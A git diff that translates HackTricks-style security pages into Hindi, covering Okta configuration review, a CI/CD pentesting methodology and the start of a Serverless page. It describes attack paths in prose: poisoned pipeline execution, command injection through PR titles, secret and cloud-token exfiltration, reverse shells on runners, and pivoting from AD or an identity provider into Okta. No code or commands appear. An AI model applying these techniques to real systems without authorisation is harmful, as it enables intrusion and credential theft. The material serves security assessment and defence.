+- **उपयोगकर्ता गणना रोकथाम**: दोनों को सक्षम होना चाहिए
+- ध्यान दें कि उपयोगकर्ता गणना रोकथाम तब प्रभावी नहीं होती यदि निम्नलिखित में से कोई भी स्थिति अनुमति दी जाती है (अधिक जानकारी के लिए [उपयोगकर्ता प्रबंधन](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) देखें):
+- स्व-सेवा पंजीकरण
+- ईमेल प्रमाणीकरण के साथ JIT प्रवाह
+- **Okta ThreatInsight सेटिंग्स**: खतरे के स्तर के आधार पर सुरक्षा को लॉग और लागू करें
### HealthInsight
-Here is possible to find correctly and **dangerous** configured **settings**.
+यहां सही और **खतरनाक** कॉन्फ़िगर की गई **सेटिंग्स** को ढूंढना संभव है।
### Authenticators
-Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
+यहां आप सभी प्रमाणीकरण विधियों को पा सकते हैं जो एक उपयोगकर्ता उपयोग कर सकता है: पासवर्ड, फोन, ईमेल, कोड, WebAuthn... पासवर्ड प्रमाणीकरण में क्लिक करने पर आप **पासवर्ड नीति** देख सकते हैं। जांचें कि यह मजबूत है।
-In the **Enrollment** tab you can see how the ones that are required or optinal:
+**Enrollment** टैब में आप देख सकते हैं कि कौन से आवश्यक या वैकल्पिक हैं:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
+फोन को अक्षम करना अनुशंसित है। सबसे मजबूत संभवतः पासवर्ड, ईमेल और WebAuthn का संयोजन है।
### Authentication policies
-Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
+हर ऐप का एक प्रमाणीकरण नीति होती है। प्रमाणीकरण नीति यह सत्यापित करती है कि जो उपयोगकर्ता ऐप में साइन इन करने की कोशिश कर रहे हैं वे विशिष्ट शर्तों को पूरा करते हैं, और यह उन शर्तों के आधार पर कारक आवश्यकताओं को लागू करती है।
-Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
+यहां आप **प्रत्येक अनुप्रयोग तक पहुंचने की आवश्यकताएं** पा सकते हैं। प्रत्येक अनुप्रयोग के लिए कम से कम पासवर्ड और एक अन्य विधि का अनुरोध करना अनुशंसित है। लेकिन यदि आप हमलावर के रूप में कुछ कमजोर पाते हैं तो आप इसे हमले के लिए उपयोग कर सकते हैं।
### Global Session Policy
-Here you can find the session policies assigned to different groups. For example:
+यहां आप विभिन्न समूहों को असाइन की गई सत्र नीतियों को पा सकते हैं। उदाहरण के लिए:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
+MFA का अनुरोध करना, सत्र की अवधि को कुछ घंटों तक सीमित करना, ब्राउज़र एक्सटेंशन के बीच सत्र कुकीज़ को बनाए न रखना और स्थान और पहचान प्रदाता को सीमित करना अनुशंसित है (यदि यह संभव है)। उदाहरण के लिए, यदि प्रत्येक उपयोगकर्ता को एक देश से लॉगिन करना चाहिए, तो आप केवल इस स्थान की अनुमति दे सकते हैं।
### Identity Providers
-Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
+पहचान प्रदाता (IdPs) सेवाएं हैं जो **उपयोगकर्ता खातों का प्रबंधन** करती हैं। Okta में IdPs जोड़ने से आपके अंत उपयोगकर्ताओं को पहले एक सामाजिक खाते या स्मार्ट कार्ड के साथ प्रमाणीकरण करके आपके कस्टम अनुप्रयोगों के साथ **स्व-पंजीकरण** करने की अनुमति मिलती है।
-On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
+पहचान प्रदाताओं के पृष्ठ पर, आप सामाजिक लॉगिन (IdPs) जोड़ सकते हैं और इनबाउंड SAML जोड़कर Okta को एक सेवा प्रदाता (SP) के रूप में कॉन्फ़िगर कर सकते हैं। एक बार जब आप IdPs जोड़ लेते हैं, तो आप उपयोगकर्ताओं को एक IdP की ओर निर्देशित करने के लिए रूटिंग नियम सेट कर सकते हैं, जैसे उपयोगकर्ता का स्थान, डिवाइस, या ईमेल डोमेन।
-**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
+**यदि कोई पहचान प्रदाता कॉन्फ़िगर किया गया है** तो हमलावर और रक्षक के दृष्टिकोण से उस कॉन्फ़िगरेशन की जांच करें और **यदि स्रोत वास्तव में विश्वसनीय है** क्योंकि एक हमलावर इसे समझौता कर सकता है और Okta वातावरण तक पहुंच प्राप्त कर सकता है।
### Delegated Authentication
-Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
+प्रतिनिधि प्रमाणीकरण उपयोगकर्ताओं को अपने संगठन के **Active Directory (AD) या LDAP** सर्वर के लिए क्रेडेंशियल दर्ज करके Okta में साइन इन करने की अनुमति देता है।
-Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
+फिर से, इसे पुनः जांचें, क्योंकि एक हमलावर जो एक संगठन के AD को समझौता कर सकता है, इस सेटिंग के कारण Okta में पिवट करने में सक्षम हो सकता है।
### Network
-A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
+एक नेटवर्क क्षेत्र एक कॉन्फ़िगर करने योग्य सीमा है जिसका उपयोग आप अपने संगठन में **कंप्यूटरों और उपकरणों** को **IP पते** के आधार पर पहुंच देने या प्रतिबंधित करने के लिए कर सकते हैं। आप एक या अधिक व्यक्तिगत IP पते, IP पते की रेंज, या भौगोलिक स्थान निर्दिष्ट करके एक नेटवर्क क्षेत्र परिभाषित कर सकते हैं।
-After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
+एक बार जब आप एक या अधिक नेटवर्क क्षेत्रों को परिभाषित कर लेते हैं, तो आप **उन्हें वैश्विक सत्र नीतियों**, **प्रमाणीकरण नीतियों**, VPN सूचनाओं, और **रूटिंग नियमों** में उपयोग कर सकते हैं।
-From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
+हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि कौन से IPs की अनुमति है (और जांचें कि क्या कोई **IPs अन्य से अधिक विशेषाधिकार प्राप्त** हैं)। हमलावर के दृष्टिकोण से, यदि उपयोगकर्ताओं को किसी विशिष्ट IP पते या क्षेत्र से पहुंच प्राप्त करनी चाहिए, तो जांचें कि यह सुविधा सही तरीके से उपयोग की जा रही है।
### Device Integrations
-- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- - I haven't seen this used yet. TODO
-- **Notification services**: I haven't seen this used yet. TODO
+- **Endpoint Management**: एंडपॉइंट प्रबंधन एक शर्त है जिसे प्रमाणीकरण नीति में लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि प्रबंधित उपकरणों को एक अनुप्रयोग तक पहुंच प्राप्त है।
+- मैंने अभी तक इसका उपयोग नहीं देखा है। TODO
+- **Notification services**: मैंने अभी तक इसका उपयोग नहीं देखा है। TODO
### API
-You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
+आप इस पृष्ठ पर Okta API टोकन बना सकते हैं, और देख सकते हैं कि कौन से **बनाए गए हैं**, उनके **विशेषाधिकार**, **समाप्ति** समय और **Origin URLs**। ध्यान दें कि API टोकन उन अनुमतियों के साथ उत्पन्न होते हैं जो उपयोगकर्ता ने टोकन बनाया है और केवल तभी मान्य होते हैं जब **उपयोगकर्ता** जो उन्हें बनाता है वह **सक्रिय** हो।
-The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
+**Trusted Origins** उन वेबसाइटों को पहुंच प्रदान करते हैं जिन्हें आप नियंत्रित करते हैं और जो आपके Okta संगठन तक पहुंचने के लिए विश्वसनीय हैं।
-There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
+यहां बहुत सारे API टोकन नहीं होने चाहिए, क्योंकि यदि हैं तो एक हमलावर उन्हें एक्सेस करने और उनका उपयोग करने की कोशिश कर सकता है।
## Workflow
### Automations
-Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
+स्वचालन आपको स्वचालित क्रियाएं बनाने की अनुमति देता है जो अंत उपयोगकर्ताओं के जीवन चक्र के दौरान होने वाली ट्रिगर स्थितियों के सेट के आधार पर चलती हैं।
-For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
+उदाहरण के लिए, एक स्थिति हो सकती है "Okta में उपयोगकर्ता की निष्क्रियता" या "Okta में उपयोगकर्ता का पासवर्ड समाप्ति" और क्रिया हो सकती है "उपयोगकर्ता को ईमेल भेजें" या "Okta में उपयोगकर्ता जीवन चक्र की स्थिति बदलें"।
## Reports
### Reports
-Download logs. They are **sent** to the **email address** of the current account.
+लॉग डाउनलोड करें। ये **वर्तमान खाते** के **ईमेल पते** पर **भेजे** जाते हैं।
### System Log
-Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
+यहां आप **उपयोगकर्ताओं द्वारा किए गए कार्यों के लॉग** को बहुत सारे विवरणों के साथ पा सकते हैं जैसे Okta में लॉगिन करना या Okta के माध्यम से अनुप्रयोगों में लॉगिन करना।
### Import Monitoring
-This can **import logs from the other platforms** accessed with Okta.
+यह **अन्य प्लेटफार्मों से लॉग आयात कर सकता है** जो Okta के साथ एक्सेस किए गए हैं।
### Rate limits
-Check the API rate limits reached.
+API दर सीमाओं की जांच करें।
## Settings
### Account
-Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
+यहां आप Okta वातावरण के बारे में **सामान्य जानकारी** पा सकते हैं, जैसे कंपनी का नाम, पता, **ईमेल बिलिंग संपर्क**, **ईमेल तकनीकी संपर्क** और यह भी कि किसे Okta अपडेट प्राप्त करने चाहिए और किस प्रकार के Okta अपडेट।
### Downloads
-Here you can download Okta agents to sync Okta with other technologies.
+यहां आप Okta एजेंट डाउनलोड कर सकते हैं ताकि Okta को अन्य तकनीकों के साथ समन्वयित किया जा सके।
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 41899af04..7728e9457 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,103 +6,99 @@
## VCS
-VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
+VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को **अपने स्रोत कोड का प्रबंधन** करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में इसका उपयोग करते हुए पाएंगे:
- Github
- Gitlab
- Bitbucket
- Gitea
-- Cloud providers (they offer their own VCS platforms)
+- Cloud providers (वे अपने स्वयं के VCS प्लेटफार्म प्रदान करते हैं)
## CI/CD Pipelines
-CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
+CI/CD पाइपलाइनों डेवलपर्स को **कोड के निष्पादन को स्वचालित** करने की अनुमति देती हैं विभिन्न उद्देश्यों के लिए, जिसमें एप्लिकेशन का निर्माण, परीक्षण और तैनाती शामिल है। ये स्वचालित कार्यप्रवाह **विशिष्ट क्रियाओं** द्वारा **प्रेरित** होते हैं, जैसे कोड पुश, पुल अनुरोध, या अनुसूचित कार्य। ये विकास से उत्पादन तक की प्रक्रिया को सरल बनाने के लिए उपयोगी हैं।
-However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
+हालांकि, इन सिस्टम को **कहीं निष्पादित** करने की आवश्यकता होती है और आमतौर पर **संवेदनशील जानकारी तक पहुंचने या कोड तैनात करने के लिए विशेषाधिकार प्राप्त क्रेडेंशियल्स के साथ**।
## VCS Pentesting Methodology
> [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> भले ही कुछ VCS प्लेटफार्म इस अनुभाग के लिए पाइपलाइनों को बनाने की अनुमति देते हैं, हम केवल स्रोत कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं।
-Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
+आपकी परियोजना के स्रोत कोड वाले प्लेटफार्मों में संवेदनशील जानकारी होती है और लोगों को इस प्लेटफार्म के भीतर दिए गए अनुमतियों के साथ बहुत सावधान रहना चाहिए। ये कुछ सामान्य समस्याएं हैं जो VCS प्लेटफार्मों में हो सकती हैं जिनका उपयोग हमलावर कर सकते हैं:
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- - **Register**: Some platforms will just allow external users to create an account.
- - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- - If no secret is in place, the attacker could abuse the webhook of the third party platform
- - If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- - Compromise the main branch to **compromise production**.
- - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- - **Compromise the pipeline** (check next section)
+- **Leaks**: यदि आपके कोड में कमिट्स में लीक हैं और हमलावर को रिपॉजिटरी तक पहुंच मिलती है (क्योंकि यह सार्वजनिक है या क्योंकि उसके पास पहुंच है), तो वह लीक का पता लगा सकता है।
+- **Access**: यदि एक हमलावर **VCS प्लेटफार्म के भीतर एक खाते तक पहुंच सकता है**, तो वह **अधिक दृश्यता और अनुमतियाँ** प्राप्त कर सकता है।
+- **Register**: कुछ प्लेटफार्म केवल बाहरी उपयोगकर्ताओं को एक खाता बनाने की अनुमति देंगे।
+- **SSO**: कुछ प्लेटफार्म उपयोगकर्ताओं को पंजीकरण करने की अनुमति नहीं देंगे, लेकिन किसी को भी एक मान्य SSO के साथ पहुंचने की अनुमति देंगे (इसलिए एक हमलावर उदाहरण के लिए अपने github खाते का उपयोग कर सकता है)।
+- **Credentials**: Username+Pwd, व्यक्तिगत टोकन, ssh कुंजी, Oauth टोकन, कुकीज़... उपयोगकर्ता कई प्रकार के टोकन चुरा सकते हैं ताकि किसी तरह एक रिपॉजिटरी तक पहुंच प्राप्त कर सकें।
+- **Webhooks**: VCS प्लेटफार्म वेबहुक उत्पन्न करने की अनुमति देते हैं। यदि वे **अदृश्य रहस्यों** के साथ **संरक्षित नहीं हैं**, तो एक **हमलावर उनका दुरुपयोग कर सकता है**।
+- यदि कोई रहस्य नहीं है, तो हमलावर तीसरे पक्ष के प्लेटफार्म के वेबहुक का दुरुपयोग कर सकता है
+- यदि रहस्य URL में है, तो वही होता है और हमलावर के पास भी रहस्य होता है
+- **Code compromise:** यदि एक दुर्भावनापूर्ण अभिनेता के पास रिपॉजिटरी पर कुछ प्रकार की **लिखने** की पहुंच है, तो वह **दुर्भावनापूर्ण कोड इंजेक्ट** करने की कोशिश कर सकता है। सफल होने के लिए, उसे **ब्रांच सुरक्षा को बायपास** करने की आवश्यकता हो सकती है। ये क्रियाएँ विभिन्न लक्ष्यों के साथ की जा सकती हैं:
+- मुख्य शाखा को **उत्पादन को समझौता करने के लिए** समझौता करना।
+- मुख्य (या अन्य शाखाओं) को **डेवलपर्स की मशीनों को समझौता करने के लिए** समझौता करना (क्योंकि वे आमतौर पर परीक्षण, टेराफॉर्म या अन्य चीजें अपनी मशीनों में रिपॉजिटरी के भीतर निष्पादित करते हैं)।
+- **पाइपलाइन को समझौता करना** (अगली अनुभाग देखें)
## Pipelines Pentesting Methodology
-The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
-These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
+पाइपलाइन को परिभाषित करने का सबसे सामान्य तरीका है **रिपॉजिटरी में होस्ट की गई CI कॉन्फ़िगरेशन फ़ाइल** का उपयोग करना जिसे पाइपलाइन बनाती है। यह फ़ाइल निष्पादित कार्यों के क्रम, प्रवाह को प्रभावित करने वाली शर्तों, और निर्माण वातावरण सेटिंग्स का वर्णन करती है।\
+ये फ़ाइलें आमतौर पर एक सुसंगत नाम और प्रारूप रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और .github/workflows के तहत स्थित GitHub Actions YAML फ़ाइलें। जब प्रेरित किया जाता है, तो पाइपलाइन कार्य **चयनित स्रोत से कोड खींचता है** (जैसे कमिट / शाखा), और **CI कॉन्फ़िगरेशन फ़ाइल में निर्दिष्ट आदेशों को उस कोड के खिलाफ चलाता है**।
-Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
+इसलिए हमलावर का अंतिम लक्ष्य किसी तरह **उन कॉन्फ़िगरेशन फ़ाइलों को समझौता करना** या **वे जो आदेश निष्पादित करते हैं**।
### PPE - Poisoned Pipeline Execution
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Poisoned Pipeline Execution (PPE) पथ एक SCM रिपॉजिटरी में अनुमतियों का लाभ उठाता है ताकि एक CI पाइपलाइन को हेरफेर किया जा सके और हानिकारक आदेशों को निष्पादित किया जा सके। आवश्यक अनुमतियों वाले उपयोगकर्ता CI कॉन्फ़िगरेशन फ़ाइलों या अन्य फ़ाइलों को संशोधित कर सकते हैं जो पाइपलाइन कार्य द्वारा उपयोग की जाती हैं ताकि दुर्भावनापूर्ण आदेश शामिल किए जा सकें। यह "CI पाइपलाइन को विषाक्त" करता है, जिससे इन दुर्भावनापूर्ण आदेशों का निष्पादन होता है।
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+एक दुर्भावनापूर्ण अभिनेता के लिए PPE हमले को सफलतापूर्वक करने के लिए उसे सक्षम होना चाहिए:
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- - Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- - For this, he might need to be able to **bypass branch protections**.
+- **VCS प्लेटफार्म पर लिखने की पहुंच** हो, क्योंकि आमतौर पर पाइपलाइन तब प्रेरित होती है जब एक पुश या एक पुल अनुरोध किया जाता है। (पहुंच प्राप्त करने के तरीकों का सारांश देखने के लिए VCS पेंटेस्टिंग पद्धति की जांच करें)।
+- ध्यान दें कि कभी-कभी एक **बाहरी PR को "लिखने की पहुंच" के रूप में गिना जाता है**।
+- भले ही उसके पास लिखने की अनुमतियाँ हों, उसे यह सुनिश्चित करने की आवश्यकता है कि वह **CI कॉन्फ़िगरेशन फ़ाइल या अन्य फ़ाइलों को संशोधित कर सकता है जिन पर कॉन्फ़िगरेशन निर्भर करता है**।
+- इसके लिए, उसे **ब्रांच सुरक्षा को बायपास** करने में सक्षम होना पड़ सकता है।
-There are 3 PPE flavours:
+PPE के 3 प्रकार हैं:
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE**: एक **Direct PPE** हमला तब होता है जब अभिनेता **CI कॉन्फ़िग** फ़ाइल को संशोधित करता है जो निष्पादित होने वाली है।
+- **I-DDE**: एक **Indirect PPE** हमला तब होता है जब अभिनेता **संशोधित करता है** एक **फ़ाइल** जिसे CI कॉन्फ़िगरेशन फ़ाइल **निर्भर करती है** (जैसे एक मेक फ़ाइल या एक टेराफॉर्म कॉन्फ़िग)।
+- **Public PPE या 3PE**: कुछ मामलों में पाइपलाइनों को **उन उपयोगकर्ताओं द्वारा प्रेरित किया जा सकता है जिनके पास रिपॉजिटरी में लिखने की पहुंच नहीं है** (और जो शायद संगठन का हिस्सा भी नहीं हैं) क्योंकि वे एक PR भेज सकते हैं।
+- **3PE Command Injection**: आमतौर पर, CI/CD पाइपलाइनों **पर्यावरण चर सेट करेंगी** **PR के बारे में जानकारी के साथ**। यदि उस मान को एक हमलावर द्वारा नियंत्रित किया जा सकता है (जैसे PR का शीर्षक) और इसका **उपयोग** एक **खतरनाक स्थान** में किया जाता है (जैसे **sh आदेशों** को निष्पादित करना), तो एक हमलावर **वहाँ आदेश इंजेक्ट कर सकता है**।
### Exploitation Benefits
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+पाइपलाइन को विषाक्त करने के 3 प्रकारों को जानने के बाद, चलिए देखते हैं कि एक हमलावर सफल शोषण के बाद क्या प्राप्त कर सकता है:
-- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **Secrets**: जैसा कि पहले उल्लेख किया गया था, पाइपलाइनों को उनके कार्यों के लिए **विशेषाधिकार** की आवश्यकता होती है (कोड प्राप्त करना, इसे बनाना, इसे तैनात करना...) और ये विशेषाधिकार आमतौर पर **रहस्यों में दिए जाते हैं**। ये रहस्य आमतौर पर **env चर या सिस्टम के भीतर फ़ाइलों के माध्यम से** सुलभ होते हैं। इसलिए एक हमलावर हमेशा जितना संभव हो सके उतने रहस्यों को निकालने की कोशिश करेगा।
+- पाइपलाइन प्लेटफार्म के आधार पर हमलावर को **कॉन्फ़िग में रहस्यों को निर्दिष्ट करने की आवश्यकता हो सकती है**। इसका मतलब है कि यदि हमलावर CI कॉन्फ़िगरेशन पाइपलाइन को संशोधित नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह **केवल उन रहस्यों को निकाल सकता है जो पाइपलाइन के पास हैं**।
+- **Computation**: कोड कहीं निष्पादित होता है, जिस स्थान पर यह निष्पादित होता है उसके आधार पर एक हमलावर आगे बढ़ने में सक्षम हो सकता है।
+- **On-Premises**: यदि पाइपलाइनों को ऑन-प्रिमाइसेस पर निष्पादित किया जाता है, तो एक हमलावर एक **आंतरिक नेटवर्क में अधिक संसाधनों तक पहुंच के साथ समाप्त हो सकता है**।
+- **Cloud**: हमलावर **क्लाउड में अन्य मशीनों तक पहुंच** प्राप्त कर सकता है लेकिन वह **IAM भूमिकाओं/सेवा खातों के टोकन** को भी निकाल सकता है ताकि **क्लाउड के भीतर आगे की पहुंच प्राप्त की जा सके**।
+- **Platforms machine**: कभी-कभी कार्य **पाइपलाइनों प्लेटफार्म मशीनों** के भीतर निष्पादित होते हैं, जो आमतौर पर एक क्लाउड के भीतर होते हैं जिसमें **कोई और पहुंच नहीं होती**।
+- **Select it:** कभी-कभी **पाइपलाइनों प्लेटफार्म में कई मशीनें कॉन्फ़िगर की गई होंगी** और यदि आप **CI कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं** तो आप **यह निर्दिष्ट कर सकते हैं कि आप दुर्भावनापूर्ण कोड कहाँ चलाना चाहते हैं**। इस स्थिति में, एक हमलावर शायद प्रत्येक संभावित मशीन पर एक रिवर्स शेल चलाएगा ताकि उसे आगे शोषण करने की कोशिश की जा सके।
+- **Compromise production**: यदि आप पाइपलाइन के भीतर हैं और अंतिम संस्करण इससे बनाया और तैनात किया गया है, तो आप **उस कोड को समझौता कर सकते हैं जो उत्पादन में चलने वाला है**।
## More relevant info
### Tools & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक ओपन-सोर्स उपकरण है जो आपके सॉफ़्टवेयर आपूर्ति श्रृंखला स्टैक का सुरक्षा अनुपालन के लिए ऑडिट करता है जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। ऑडिट पूरी SDLC प्रक्रिया पर केंद्रित है, जहां यह कोड समय से लेकर तैनाती समय तक के जोखिमों को उजागर कर सकता है।
### Top 10 CI/CD Security Risk
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Cider के अनुसार शीर्ष 10 CI/CD जोखिमों के बारे में इस दिलचस्प लेख की जांच करें: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
-- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
+- प्रत्येक प्लेटफार्म पर जिसे आप स्थानीय रूप से चला सकते हैं, आप पाएंगे कि इसे स्थानीय रूप से कैसे लॉन्च किया जाए ताकि आप इसे अपनी इच्छानुसार कॉन्फ़िगर कर सकें।
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर-एज़-कोड के लिए है।
## References
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index bf1343702..8c4f10b5b 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -6,298 +6,269 @@
### Organization
-An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications.
+एक **Organization** Serverless Framework पारिस्थितिकी तंत्र के भीतर उच्चतम स्तर की इकाई है। यह एक **सामूहिक समूह** का प्रतिनिधित्व करता है, जैसे कि एक कंपनी, विभाग, या कोई बड़ी इकाई, जो कई परियोजनाओं, टीमों और अनुप्रयोगों को समाहित करता है।
### Team
